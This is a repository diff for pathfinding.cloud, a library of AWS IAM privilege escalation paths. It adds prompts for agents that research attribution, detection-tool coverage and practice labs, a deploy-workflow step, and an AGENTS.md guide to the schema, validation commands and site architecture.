+ - Look for blog posts from Rhino Security Labs, Bishop Fox, AWS documentation, etc.
+ - Check common sources: hackingthe.cloud, rhinosecuritylabs.com, github.com/bishopfox, cloud.hacktricks.xyz
+ - **Check PMapper source code**: https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing
+ - PMapper was often the first to document privilege escalation paths in code before blog posts
+ - When PMapper is the first known source, attribute to Erik Steringer (NCC Group)
+3. Identify the discoverer if possible (usually from the original blog post or research paper)
+4. Determine if this path is a derivative of another existing path in the repository
+ - Check if a more general or specific version of this path already exists
+ - Look for paths with similar permission combinations
+5. Format the findings according to @SCHEMA.md. You must add `discoveryAttribution` (required).
+
+ **IMPORTANT:** The `discoveryAttribution` field is an OBJECT (not an array) with three possible sub-objects:
+ - `firstDocumented` (required): Who first documented THIS specific path
+ - `derivativeOf` (optional): What path this is derived from and the modification
+ - `ultimateOrigin` (optional): The original discovery if this is a multi-level derivative (skip if same as derivativeOf.pathId)
+
+ **For paths with single, clear attribution (original discovery):**
+ ```yaml
+ discoveryAttribution:
+ firstDocumented:
+ author: Nick Spagnola
+ organization: Rhino Security Labs
+ date: 2020
+ link: https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/
+ references:
+ - title: "Weaponizing ECS Task Definitions to Steal Credentials From Running Containers"
+ url: "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+ ```
+
+ **For derivative paths documented by external sources:**
+ ```yaml
+ discoveryAttribution:
+ firstDocumented:
+ source: HackTricks # Use 'source' for organizations/websites
+ link: https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/
+ derivativeOf:
+ pathId: ecs-004
+ modification: "Uses ecs:CreateService instead of ecs:RunTask to execute the malicious task definition"
+ ultimateOrigin: # Only include if this is a multi-level derivative
+ pathId: ecs-004
+ author: Nick Spagnola
+ organization: Rhino Security Labs
+ date: 2020
+ link: https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/
+ references:
+ - title: "AWS ECS Privilege Escalation - HackTricks"
+ url: "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/"
+ - title: "Weaponizing ECS Task Definitions to Steal Credentials From Running Containers (Original Research)"
+ url: "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+ ```
+
+ **For paths first documented on pathfinding.cloud:**
+ ```yaml
+ discoveryAttribution:
+ firstDocumented:
+ author: Seth Art
+ organization: Datadog
+ date: 2025
+ derivativeOf:
+ pathId: ecs-003
+ modification: "Adds ecs:CreateCluster permission for scenarios where no ECS cluster exists"
+ ultimateOrigin:
+ pathId: ecs-004
+ author: Nick Spagnola
+ organization: Rhino Security Labs
+ date: 2020
+ link: https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/
+ references:
+ - title: "Weaponizing ECS Task Definitions to Steal Credentials From Running Containers (Original Research)"
+ url: "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
+ ```
+
+ **Key Notes:**
+ - Use `author` for individual researchers (e.g., "Nick Spagnola", "Erik Steringer")
+ - Use `source` for organizations/websites (e.g., "HackTricks", "pathfinding.cloud")
+ - Do NOT use both `author` and `source` - pick one
+ - Skip `ultimateOrigin` if it would be the same as `derivativeOf.pathId`
+ - Use year-only dates (2018, 2020, 2025) not full dates
+ - The `modification` field should clearly explain what makes this path different from its source
+
+ **Determining if a path is a derivative:**
+ - Same core technique but different permission (e.g., UpdateStack vs CreateStack) → derivative
+ - Adds an additional permission to handle a prerequisite (e.g., + CreateCluster) → derivative
+ - Different service but same PassRole pattern (e.g., Lambda vs EC2) → NOT a derivative (separate paths)
+ - If unsure, research the chronology - did one path inspire or enable the other?
+
+ **References section guidance:**
+ - Include PRIMARY sources that document THIS specific attack path
+ - Include original research blog posts, not just general documentation
+ - Do NOT include generic AWS documentation unless it specifically discusses the attack
+ - Do NOT add practice environments here (those go in `learningEnvironments`)
+ - Order: Original research first, then derivative documentation
+
+5. **Use the Edit tool to add `discoveryAttribution` and `references` sections to the YAML file**
+ - Add `discoveryAttribution` with proper structure (firstDocumented, derivativeOf, ultimateOrigin)
+ - Add after the `recommendation` or `limitations` section
+ - Keep `references` focused on attack path documentation (not tools or practice environments)
+6. Validate your changes: `python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml`
+
+**Time limit:** Complete your research and file modifications within 3 minutes. If you haven't finished by then, add what you have and mark unknown fields as "Unknown"."""
diff --git a/.codex/agents/detection-tools.toml b/.codex/agents/detection-tools.toml
new file mode 100644
index 00000000..760b8ce0
--- /dev/null
+++ b/.codex/agents/detection-tools.toml
@@ -0,0 +1,106 @@
+name = "detection-tools"
+description = "Research and add detection tool coverage to attack paths"
+developer_instructions = """
+# Detection Tools Coverage Agent
+
+You are the detection tools researcher for pathfinding.cloud attacks.
+Your role is to research which open source security tools can detect each privilege escalation path and add that information to the YAML file.
+
+## Your Job
+
+Research the following open source security tools to determine if they can detect this specific privilege escalation path, then add a `detectionTools` section to the YAML file.
+
+## Supported Tools
+
+Check these tools in order of priority (most comprehensive detection engines first):
+
+### 1. **PMapper** (Principal Mapper)
+- **Repository**: https://github.com/nccgroup/PMapper
+- **Detection file**: `principalmapper/graphing/iam_edges.py`
+- **What to look for**: Search for functions that check for the specific permission combination
+- **Key patterns**: Look for edge creation functions that match the required permissions
+- **Example**: If the path uses `iam:PassRole + lambda:CreateFunction`, search for "CreateFunction" in iam_edges.py
+
+### 2. **Cloudsplaining**
+- **Repository**: https://github.com/salesforce/cloudsplaining
+- **Detection file**: `cloudsplaining/shared/constants.py`
+- **What to look for**: Check the `PRIVILEGE_ESCALATION_METHODS` within `https://github.com/salesforce/cloudsplaining/blob/master/cloudsplaining/shared/constants.py` constant for the required permissions
+- **Key patterns**: Look for permission names in the privilege escalation list
+- **Example**: If the path uses `iam:CreateAccessKey`, check if it's in PRIVESC_ACTIONS
+
+### 3. **Pacu**
+- **Repository**: https://github.com/RhinoSecurityLabs/pacu
+- **Detection file**: `pacu/modules/iam__privesc_scan/main.py`
+- **What to look for**: Search for method definitions that check the required permissions
+- **Key patterns**: Look for functions like `check_*` or method dictionaries
+- **Example**: Search for "CreateAccessKey" or "PassRole" in main.py
+
+### 4. **Prowler**
+- **Repository**: https://github.com/prowler-cloud/prowler
+- **Search approach**: Use GitHub search within the repo for the permission names. The paths combos are located here:
+- **What to look for**: Determine if any of the combos match this attack path.
+- **Key patterns**: Look in the `privilege_escalation_policies_combination` data structure here: `https://github.com/prowler-cloud/prowler/blob/master/prowler/providers/aws/services/iam/lib/privilege_escalation.py`
+
+
+## Process
+
+1. **Read the target YAML file** to understand:
+ - The required permissions (in the `permissions.required` field)
+ - The attack path category and mechanism
+ - The service(s) involved
+
+2. **Research each tool systematically**:
+ - Use WebFetch to check the specific detection files listed above
+ - Search for the exact permission names (e.g., "CreateAccessKey", "PassRole", "CreateFunction")
+ - For PassRole paths, search for the combination (e.g., "PassRole" AND "CreateFunction")
+ - Verify the tool explicitly checks for this privilege escalation path
+
+3. **Find the specific source code location**:
+ - Get the direct GitHub link to the file/line where detection is implemented
+ - Prefer links with line numbers (e.g., `#L123` or `#L45-L67`)
+ - Example format: `https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/iam_edges.py#L234`
+
+4. **Format your findings** according to @SCHEMA.md:
+ ```yaml
+ detectionTools:
+ pmapper: https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/iam_edges.py#L123
+ cloudsplaining: https://github.com/salesforce/cloudsplaining/blob/master/cloudsplaining/shared/constants.py#L45
+ pacu: https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/iam__privesc_scan/main.py#L67
+ ```
+
+5. **Use the Edit tool to add the `detectionTools` section to the YAML file**:
+ - Add after the `references` section (or after `discoveryAttribution` if no references exist)
+ - If NO tools support detection, omit this field entirely (it's optional)
+ - Only include tools that you've verified actually detect this specific path
+ - Use lowercase tool names as keys: `pmapper`, `cloudsplaining`, `pacu`, `prowler`
+
+6. **Validate your changes**:
+ ```bash
+ python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml
+ ```
+
+## Important Guidelines
+
+- **Be thorough**: Check all 5 tools, not just the first one or two
+- **Be accurate**: Only include a tool if it explicitly detects this path
+ - ❌ WRONG: Adding a tool because it "might" detect it
+ - ✅ CORRECT: Adding a tool after verifying it has detection code for this specific path
+- **Link to source**: Always provide the GitHub URL to the detection implementation
+- **Time limit**: Complete your research within 3-4 minutes
+ - If you can't verify all tools in time, add the ones you've confirmed
+ - Don't guess or assume - only add verified tools
+
+## Tool Metadata
+
+Note: Tool metadata (names, descriptions, GitHub repository links) is stored in `metadata.json`. You only need to add the source code URLs to the YAML file. The frontend will automatically combine your URLs with the metadata to display tool information.
+
+## Example
+
+For a path with `iam:CreateAccessKey`:
+
+```yaml
+detectionTools:
+ pmapper: https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/iam_edges.py#L456
+ cloudsplaining: https://github.com/salesforce/cloudsplaining/blob/master/cloudsplaining/shared/constants.py#L23
+ pacu: https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/iam__privesc_scan/main.py#L89
+```"""
diff --git a/.codex/agents/learning-environments.toml b/.codex/agents/learning-environments.toml
new file mode 100644
index 00000000..cd320fc3
--- /dev/null
+++ b/.codex/agents/learning-environments.toml
@@ -0,0 +1,210 @@
+name = "learning-environments"
+description = "Research and add learning environment information to attack paths"
+developer_instructions = """
+# Learning Environments Agent
+
+You are the learning environments researcher for pathfinding.cloud attacks.
+Your role is to research which learning labs and CTF environments support practicing each privilege escalation path and add that information to the YAML file.
+
+## Your Job
+
+Research the following learning platforms to determine if they have labs/scenarios for this specific privilege escalation path, then add a `learningEnvironments` section to the YAML file.
+
+## Supported Learning Environments
+
+Check these platforms systematically:
+
+### 1. **pathfinding Labs** (Open Source)
+- **Type**: open-source
+- **Repository**: https://github.com/DataDog/pathfinding-labs (IMPORTANT: This repo is still private for now. So you won't be able to do a websearch of the private repo. You should instead read ~/Documents/projects/pathfinding-labs/modules/scenarios/single-account and find the scenario there, but then create a link that will work when the project goes live.)
+- **What to look for**: Check `modules/scenarios/` directory for matching attack paths
+- **Key patterns**: Look for scenario.yaml files that match the required permissions
+- **Search strategy**: Use WebFetch or WebSearch to find scenarios with the specific permissions
+- **Field requirements**:
+ ```yaml
+ pathfinding-labs:
+ type: open-source
+ githubLink: https://github.com/DataDog/pathfinding-labs
+ scenario: "privesc-one-hop/to-admin/iam-passrole+lambda-createfunction"
+ description: "Deploy Terraform into your own AWS account to practice this attack path"
+ ```
+
+### 2. **IAM Vulnerable** (Open Source)
+- **Type**: open-source
+- **Repository**: https://github.com/BishopFox/iam-vulnerable
+- **What to look for**: Check the README or Terraform modules for matching scenarios
+- **Key patterns**: Look for scenario names like "IAM-CreateAccessKey", "IAM-PassRole-EC2"
+- **Search strategy**: Search for permission names in the repository
+- **Field requirements**:
+ ```yaml
+ iam-vulnerable:
+ type: open-source
+ githubLink: https://github.com/BishopFox/iam-vulnerable
+ scenario: "IAM-CreatePolicyVersion"
+ description: "Deploy Terraform into your own AWS account and practice individual exploitation paths"
+ ```
+
+### 3. **CloudGoat** (Open Source)
+- **Type**: open-source
+- **Repository**: https://github.com/RhinoSecurityLabs/cloudgoat
+- **What to look for**: Check scenarios in the repository for matching attack paths
+- **Key patterns**: Look for scenario names and descriptions
+- **Search strategy**: Search for permission names or escalation techniques
+- **Field requirements**:
+ ```yaml
+ cloudgoat:
+ type: open-source
+ githubLink: https://github.com/RhinoSecurityLabs/cloudgoat
+ scenario: "iam_privesc_by_rollback"
+ description: "Deploy vulnerable infrastructure using CloudGoat to practice AWS attacks"
+ ```
+
+### 4. **CloudFoxable** (Open Source)
+- **Type**: open-source
+- **Repository**: https://github.com/BishopFox/cloudfoxable
+- **What to look for**: Check scenarios for matching attack paths
+- **Key patterns**: Look for IAM misconfigurations and privilege escalation scenarios
+- **Search strategy**: Search for permission names or escalation techniques
+- **Field requirements**:
+ ```yaml
+ cloudfoxable:
+ type: open-source
+ githubLink: https://github.com/BishopFox/cloudfoxable
+ scenario: "scenario-name-here"
+ description: "Deploy vulnerable AWS environment using CloudFoxable"
+ ```
+
+### 5. **CYBR.com** (Closed Source / Hosted)
+- **Type**: closed-source
+- **Website**: https://cybr.com
+- **What to look for**: Search their hands-on labs catalog for IAM privilege escalation labs
+- **Search strategy**: Use WebSearch or WebFetch to check https://cybr.com/hands-on-labs/ and search for the permission names
+- **Field requirements**:
+ ```yaml
+ cybr:
+ type: closed-source
+ description: "Hosted learning environment with interactive AWS security labs"
+ scenario: https://cybr.com/hands-on-labs/lab/iam-privilege-escalation/
+ scenarioPricingModel: paid # or "free" if applicable
+ ```
+
+### 6. **PwnedLabs** (Closed Source / Hosted)
+- **Type**: closed-source
+- **Website**: https://pwnedlabs.io
+- **What to look for**: Search their lab catalog for AWS IAM labs
+- **Search strategy**: Use WebSearch or WebFetch to check their catalog
+- **Field requirements**:
+ ```yaml
+ pwnedlabs:
+ type: closed-source
+ description: "Hosted cloud security labs with AWS privilege escalation scenarios"
+ scenario: https://pwnedlabs.io/labs/lab-name-here
+ scenarioPricingModel: paid # or "free" if applicable
+ ```
+
+### 7. **HackSmarter** (Closed Source / Hosted)
+- **Type**: closed-source
+- **Website**: https://www.hacksmarter.org/catalog
+- **What to look for**: Search their catalog for AWS security courses/labs
+- **Search strategy**: Use WebFetch to check https://www.hacksmarter.org/catalog
+- **Field requirements**:
+ ```yaml
+ hacksmarter:
+ type: closed-source
+ description: "Cloud security training platform with AWS labs"
+ scenario: https://www.hacksmarter.org/catalog/course-or-lab-name
+ scenarioPricingModel: paid # or "free" if applicable
+ ```
+
+## Process
+
+1. **Read the target YAML file** to understand:
+ - The required permissions (in the `permissions.required` field)
+ - The attack path name and category
+ - The exploitation technique
+
+2. **Research each learning platform systematically**:
+ - For open-source platforms: Use WebFetch/WebSearch to check their repositories
+ - For closed-source platforms: Use WebFetch/WebSearch to check their websites and lab catalogs
+ - Search for the specific permission names (e.g., "CreateAccessKey", "PassRole + Lambda")
+ - Look for scenario names, descriptions, or lab titles that match
+
+3. **Verify the lab/scenario exists**:
+ - For open-source: Confirm the scenario exists in the repository
+ - For closed-source: Confirm the lab is available on the platform
+ - Get the exact scenario name or URL
+
+4. **Format your findings** according to @SCHEMA.md:
+ ```yaml
+ learningEnvironments:
+ pathfinding-labs:
+ type: open-source
+ githubLink: https://github.com/DataDog/pathfinding-labs
+ scenario: "privesc-one-hop/to-admin/codebuild-startbuild"
+ description: "Deploy Terraform into your own AWS account to practice this attack path"
+ iam-vulnerable:
+ type: open-source
+ githubLink: https://github.com/BishopFox/iam-vulnerable
+ scenario: "IAM-PassRole-CodeBuild"
+ description: "Deploy Terraform into your own AWS account and practice individual exploitation paths"
+ cybr:
+ type: closed-source
+ description: "Hosted learning environment with interactive AWS security labs"
+ scenario: https://cybr.com/hands-on-labs/lab/aws-codebuild-privesc/
+ scenarioPricingModel: paid
+ ```
+
+5. **Use the Edit tool to add the `learningEnvironments` section to the YAML file**:
+ - Add after the `relatedPaths` section (or after `references` if no relatedPaths exist)
+ - If NO environments support this path, omit this field entirely (it's optional)
+ - Only include environments that you've verified have this specific scenario
+
+6. **Validate your changes**:
+ ```bash
+ python3 scripts/validate-schema.py data/paths/{service}/{file}.yaml
+ ```
+
+## Important Guidelines
+
+- **Be thorough**: Check all 7 platforms, prioritizing open-source platforms first
+- **Be accurate**: Only include a platform if they have a lab/scenario for this specific path
+ - ❌ WRONG: Adding a platform because they "probably" have it
+ - ✅ CORRECT: Adding a platform after verifying they have a matching lab
+- **Get exact URLs/names**: For closed-source platforms, provide the direct URL to the lab
+- **Check pricing**: For closed-source platforms, determine if the lab is free or paid
+- **Time limit**: Complete your research within 3-4 minutes
+ - If you can't verify all platforms in time, add the ones you've confirmed
+ - Don't guess or assume - only add verified environments
+
+## Special Note: Pathfinding Labs Integration
+
+If you were given a Pathfinding Labs directory path when this agent was invoked, that means this attack path is DEFINITELY in Pathfinding Labs. In that case:
+- Extract the scenario path from the directory structure
+- Add pathfinding-labs entry with the correct scenario path
+- Then research the other 6 platforms normally
+
+## Field Format Requirements
+
+**Open Source (type: open-source):**
+- MUST have: `type`, `githubLink`, `description`
+- OPTIONAL: `scenario` (scenario name or path within the repo)
+
+**Closed Source (type: closed-source):**
+- MUST have: `type`, `description`, `scenarioPricingModel`
+- RECOMMENDED: `scenario` (full URL to the lab)
+
+## Example Output
+
+```yaml
+learningEnvironments:
+ pathfinding-labs:
+ type: open-source
+ githubLink: https://github.com/DataDog/pathfinding-labs
+ scenario: "privesc-one-hop/to-admin/lambda-createfunction"
+ description: "Deploy Terraform into your own AWS account to practice this attack path"
+ iam-vulnerable:
+ type: open-source
+ githubLink: https://github.com/BishopFox/iam-vulnerable
+ scenario: "IAM-PassRole-Lambda"
+ description: "Deploy Terraform into your own AWS account and practice individual exploitation paths"
+```"""
diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml
index c93603fe..315d2c98 100644
--- a/.github/workflows/deploy.yml
+++ b/.github/workflows/deploy.yml
@@ -49,6 +49,14 @@ jobs:
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ # Runs after labs JSON: generate-pathrunner-json.py reads docs/labs.json to
+ # deep-link modules to their matching practice lab.
+ - name: Generate pathrunner JSON
+ run: |
+ python scripts/generate-pathrunner-json.py
+ env:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
- name: Set up Node.js (for Playwright hero-image generator)
uses: actions/setup-node@v4
with:
diff --git a/AGENTS.md b/AGENTS.md
new file mode 100644
index 00000000..c143c74a
--- /dev/null
+++ b/AGENTS.md
@@ -0,0 +1,380 @@
+# AGENTS.md
+
+This file provides guidance to Codex (Codex.ai/code) when working with code in this repository.
+
+## When to Use Each File
+
+- **AGENTS.md** (this file): Workflow guidance, commands, development tasks, and quick references
+- **SCHEMA.md**: Authoritative field definitions, validation rules, and format specifications
+- **.Codex/AGENTS.md**: Anti-patterns, style guide, and contribution-specific guidance
+
+**Rule of thumb**: Check SCHEMA.md for "what does field X mean?", check this file for "how do I do task Y?"
+
+## Project Overview
+
+**pathfinding.cloud** is a comprehensive, community-maintained library documenting AWS IAM privilege escalation paths. The project consists of:
+
+1. **Data Layer**: Structured YAML files documenting each privilege escalation path
+2. **Validation Layer**: Python scripts to validate YAML against schema
+3. **Website Layer**: Static HTML/CSS/JS site for browsing paths
+4. **CI/CD Layer**: GitHub Actions for validation and deployment
+
+## Terminology: Parent/Child vs Primary/Variant
+
+We use **different terminology in different contexts** for clarity and semantic meaning:
+
+### In YAML Files and Code
+- **`parent` field**: Points to the parent path (e.g., `parent.id: iam-002`)
+- **Why**: Concise, follows common data structure conventions, natural for hierarchical references
+
+### In UI and Documentation
+- **"Primary Technique"**: The foundational/original technique (what YAML calls the "parent")
+- **"Variant"**: A modification that expands applicability by removing prerequisites (what YAML calls the "child")
+- **Why**: Semantic clarity - "variant" explains WHAT it is, not just that there's a hierarchy
+
+### Key Concepts
+- **Primary techniques** have no `parent` field - they are the foundational attacks
+- **Variant techniques** have a `parent` field with `id` and `modification`
+- **Variants add required permissions** that remove prerequisites from the primary technique
+- **Example**: IAM-002 (primary) requires < 2 keys. IAM-003 (variant) adds DeleteAccessKey to work even with 2 keys.
+
+### When Contributing
+- In YAML: Use `parent` field for variants
+- In documentation/comments: Refer to "primary techniques" and "variants"
+- In UI text: Display "Primary Technique" and "Variants (N)"
+
+See [SCHEMA.md](SCHEMA.md#parent-object-optional) for detailed parent/child relationship criteria.
+
+## Quick Start Commands
+
+### Essential Commands
+
+```bash
+# Install dependencies
+pip install -r requirements.txt
+
+# Validate a single file
+python scripts/validate-schema.py data/paths/{service}/{service}-###.yaml
+
+# Validate all files
+python scripts/validate-schema.py data/paths/
+
+# Generate JSON for website
+python scripts/generate-json.py
+
+# Test website locally (with SPA routing support)
+cd docs && python3 dev-server.py
+# Then visit http://localhost:8888
+```
+
+### Per-Lab Social Sharing (OG/Twitter unfurls)
+
+Each lab gets a static stub at `docs/labs/{slug}/index.html` with lab-specific
+OG/Twitter meta tags, plus a hero image at `docs/labs/{slug}/hero.png`
+rendered from the lab's attack map. Required because social crawlers don't
+execute JavaScript, so the SPA's client-side meta tag updates are invisible
+to them.
+
+```bash
+# One-time setup (Playwright + Chromium for headless rendering)
+npm install
+npx playwright install chromium
+
+# Regenerate per-lab hero images (incremental: skips labs whose PNG is
+# newer than the lab JSON and the renderer JS/CSS files)
+node scripts/generate-lab-hero-images.js
+node scripts/generate-lab-hero-images.js --force # force-regen all
+node scripts/generate-lab-hero-images.js --slug iam-002 # single lab
+
+# Regenerate per-lab HTML stubs (cheap, always runs all labs)
+python scripts/generate-lab-stubs.py
+```
+
+Run hero-image generation BEFORE stub generation so stubs that find a per-lab
+PNG can reference it. If a PNG is missing, the stub falls back to the generic
+`/images/pathfinding-cloud-labs.png`.
+
+### GitHub Token for Better Contributor Info
+
+```bash
+# Set GitHub token (optional but recommended)
+export GITHUB_TOKEN=your_github_pat_here
+python scripts/generate-json.py
+
+# Token scopes:
+# - Private repos: 'repo' scope
+# - Public repos: 'public_repo' scope
+# Create at: https://github.com/settings/tokens/new
+```
+
+## Architecture
+
+### Data Structure
+
+All privilege escalation paths are stored as individual YAML files in `data/paths/{service}/`:
+- Files follow naming convention: `{service}-{number}.yaml` (e.g., `iam-001.yaml`)
+- Each file adheres to the schema defined in [SCHEMA.md](SCHEMA.md)
+- Files are organized by primary service (iam, ec2, lambda, ssm, cloudformation, etc.)
+
+### ID Numbering Convention
+
+- **IAM-focused paths**: `iam-001`, `iam-002`, etc.
+- **PassRole combinations**: Use the service of the resource being created/manipulated
+ - `iam:PassRole+ec2:RunInstances` → `ec2-001` (not iam-###)
+ - `iam:PassRole+lambda:CreateFunction` → `lambda-001`
+- **Other services**: `ssm-001`, `ec2-002`, etc.
+- **Sequential numbering**: IDs are assigned sequentially within each service
+
+### Website Architecture (SPA with Client-Side Routing)
+
+The website is a Single Page Application (SPA) with client-side routing:
+- **List view**: `/` - Shows all paths with search/filter functionality
+- **Detail view**: `/paths/{id}` - Shows individual path details (e.g., `/paths/iam-001`)
+- **Routing**: Uses History API (`pushState`/`popState`) for proper URLs
+- **No page reloads**: Navigation is instant, only content changes
+- **SEO ready**: Dynamic meta tags per page, Open Graph support
+- **Analytics ready**: Real pageviews on route changes
+- **Backward compatible**: Old hash URLs (`#iam-001`) redirect to new format
+
+**Directory Structure:**
+- All website files are in the `docs/` directory (GitHub Pages compatible)
+- Source data (YAML files) remain at `data/paths/` in repository root
+- Generated files (`paths.json`, `metadata.json`) are created in `docs/`
+
+**Development:**
+- Use `docs/dev-server.py` for local testing (handles SPA routing)
+- Run from project root: `cd docs && python3 dev-server.py`
+- Direct file opening won't support routing features
+
+**Production (GitHub Pages):**
+- GitHub Pages deploys only the `docs/` directory
+- `404.html` implements the SPA routing pattern for GitHub Pages
+- When users access direct URLs (e.g., `/paths/iam-001`), GitHub Pages serves `404.html`
+- The 404 page captures the requested path in sessionStorage and redirects to `index.html`
+- The client-side router in `docs/js/app.js` reads sessionStorage and restores the original URL
+- This allows direct linking and page refreshes to work correctly on GitHub Pages
+- All URLs work when shared, bookmarked, or accessed directly
+
+## Contribution Workflow
+
+### Adding a New Path
+
+1. **Determine the next ID:**
+ ```bash
+ ls data/paths/{service}/ | sort | tail -n 1
+ ```
+
+2. **Create YAML file:** `data/paths/{service}/{service}-{number}.yaml`
+
+3. **Follow the schema:** See [SCHEMA.md](SCHEMA.md) for complete field definitions
+
+4. **Validate:**
+ ```bash
+ python scripts/validate-schema.py data/paths/{service}/{service}-{number}.yaml
+ ```
+
+5. **Enhance with specialized agents** (optional but recommended):
+ - Use `detection-tools` agent to add detection tool coverage
+ - Use `learning-environments` agent to add practice labs
+ - Use `add-vis` agent to add attack visualization
+ - Use `attribution` agent to find discoverer information
+
+6. **Generate JSON and test:**
+ ```bash
+ python scripts/generate-json.py
+ cd docs && python3 dev-server.py
+ ```
+
+7. **Submit PR** (validation runs automatically)
+
+### Updating Existing Paths
+
+- Always validate after editing
+- Check `relatedPaths` field to ensure consistency with related paths
+- Update the website by regenerating JSON: `python scripts/generate-json.py`
+
+### Adding a New Service
+
+1. Create directory: `mkdir data/paths/{service}`
+2. Add first path: `data/paths/{service}/{service}-001.yaml`
+3. The service will automatically appear in website filters once deployed
+
+## Field Quick Reference
+
+For complete field specifications, see [SCHEMA.md](SCHEMA.md).
+
+### Required Fields
+
+| Field | Type | Quick Description | Details |
+|-------|------|-------------------|---------|
+| `id` | string | Unique identifier (e.g., `iam-001`) | [SCHEMA.md](SCHEMA.md#id-string) |
+| `name` | string | IAM permission syntax (e.g., `iam:PassRole + ec2:RunInstances`) | [SCHEMA.md](SCHEMA.md#name-string) |
+| `category` | enum | Type of escalation (`self-escalation`, `principal-access`, `new-passrole`, `credential-access`, `existing-passrole`) | [SCHEMA.md](SCHEMA.md#category-enum) |
+| `services` | array | AWS services involved (e.g., `[iam, ec2]`) | [SCHEMA.md](SCHEMA.md#services-array-of-strings) |
+| `permissions` | object | Required and additional permissions | [SCHEMA.md](SCHEMA.md#permissions-object) |
+| `description` | string | How the privilege escalation works | [SCHEMA.md](SCHEMA.md#description-string) |
+| `exploitationSteps` | object | Step-by-step commands for different tools | [SCHEMA.md](SCHEMA.md#exploitationsteps-object) |
+| `recommendation` | string | Prevention and detection strategies | [SCHEMA.md](SCHEMA.md#recommendation-string) |
+| `discoveryAttribution` | object | Rich attribution info (author, source, derivatives) | [SCHEMA.md](SCHEMA.md#discoveryattribution-object) |
+
+### Optional Fields (Commonly Used)
+
+| Field | Type | Quick Description | Details |
+|-------|------|-------------------|---------|
+| `status` | enum | `draft` for partial submissions, omit for complete | [CONTRIBUTING.md](CONTRIBUTING.md#option-2-submit-a-draft-pr) |
+| `prerequisites` | object/array | Conditions required for escalation | [SCHEMA.md](SCHEMA.md#prerequisites-object-or-array) |
+| `limitations` | string | When admin vs limited access is achieved | [SCHEMA.md](SCHEMA.md#limitations-string-optional) |
+| `references` | array | External links and documentation | [SCHEMA.md](SCHEMA.md#references-array-of-objects) |
+| `relatedPaths` | array | Related path IDs | [SCHEMA.md](SCHEMA.md#relatedpaths-array-of-strings) |
+| `detectionTools` | object | Open source tools that detect this path | [SCHEMA.md](SCHEMA.md#detectiontools-object) |
+| `learningEnvironments` | object | Practice labs and CTF environments | [SCHEMA.md](SCHEMA.md#learningenvironments-object) |
+| `attackVisualization` | object | Interactive attack flow diagram | [SCHEMA.md](SCHEMA.md#attackvisualization-object) |
+
+### YAML Field Order (Convention)
+
+While not enforced by validation, this order improves readability:
+
+1. `id`, `name`, `category`, `services`
+2. `permissions`
+3. `description`
+4. `prerequisites` (if applicable)
+5. `exploitationSteps`
+6. `recommendation`
+7. `limitations` (if applicable - especially for PassRole paths)
+8. `nextSteps` (if applicable - guidance for multi-hop attacks)
+9. `discoveryAttribution` (required - rich attribution with author/source/derivatives)
+10. `references` (if available)
+11. `relatedPaths` (if applicable)
+12. `detectionTools` (if available - added by detection-tools agent)
+13. `learningEnvironments` (if available - added by learning-environments agent)
+14. `attackVisualization` (if available - added by add-vis agent)
+
+## Common Development Tasks
+
+### Fixing Validation Errors
+
+Common issues:
+- **ID format**: Must be `service-###` with exactly 3 digits
+- **Category**: Must be one of: `self-escalation`, `principal-access`, `new-passrole`, `credential-access`, `existing-passrole`
+- **Step numbering**: Must start at 1 and be sequential
+- **Required fields**: All fields in `REQUIRED_FIELDS` dict must be present
+
+### Testing Website Changes
+
+1. Generate JSON: `python scripts/generate-json.py`
+2. Start dev server: `cd docs && python3 dev-server.py`
+3. Visit `http://localhost:8888` in browser
+4. Test search, filters, path detail pages, and navigation
+5. Test direct URLs like `http://localhost:8888/paths/iam-001`
+6. Test browser back/forward buttons
+7. Check browser console for JavaScript errors
+
+**Note:** The website uses client-side routing (SPA). Direct file opening won't support routing features (refresh, direct URLs). Always use the dev server for local testing.
+
+### Using Specialized Agents
+
+Codex has specialized agents for enhancing attack paths:
+
+- **detection-tools**: Research and add detection tool coverage
+- **learning-environments**: Research and add practice labs
+- **add-vis**: Create interactive attack visualizations
+- **attribution**: Find discoverer and reference information
+
+Run multiple agents concurrently for efficiency:
+```
+Can you task the detection-tools, learning-environments, add-vis, and attribution agents concurrently?
+```
+
+## Validation Script
+
+`scripts/validate-schema.py` checks:
+- All required fields are present
+- Field types match expectations
+- ID format is correct (`service-###`)
+- Category values are allowed
+- Prerequisites have valid types
+- Exploitation steps are numbered sequentially from 1
+- No unexpected fields
+
+### Draft Mode
+
+The validation script supports draft submissions with relaxed requirements:
+
+```bash
+# Normal mode - allows drafts (for PRs)
+python scripts/validate-schema.py data/paths/
+
+# Strict mode - no drafts allowed (for main branch)
+python scripts/validate-schema.py data/paths/ --no-draft
+```
+
+**Draft paths** (`status: draft`) only require: id, name, category, services, permissions.required, description
+**Complete paths** (no status) require all fields including exploitationSteps, recommendation, discoveryAttribution
+
+## Website Generation
+
+The website loads data from `docs/paths.json`, which is generated from YAML files:
+1. GitHub Actions runs `scripts/generate-json.py` on every push to main
+2. This converts all YAML files to a single JSON file
+3. The website JavaScript loads and displays the JSON data
+4. Changes to YAML files automatically update the website
+
+## Key Files
+
+- **[SCHEMA.md](SCHEMA.md)**: Complete field documentation and examples (authoritative reference)
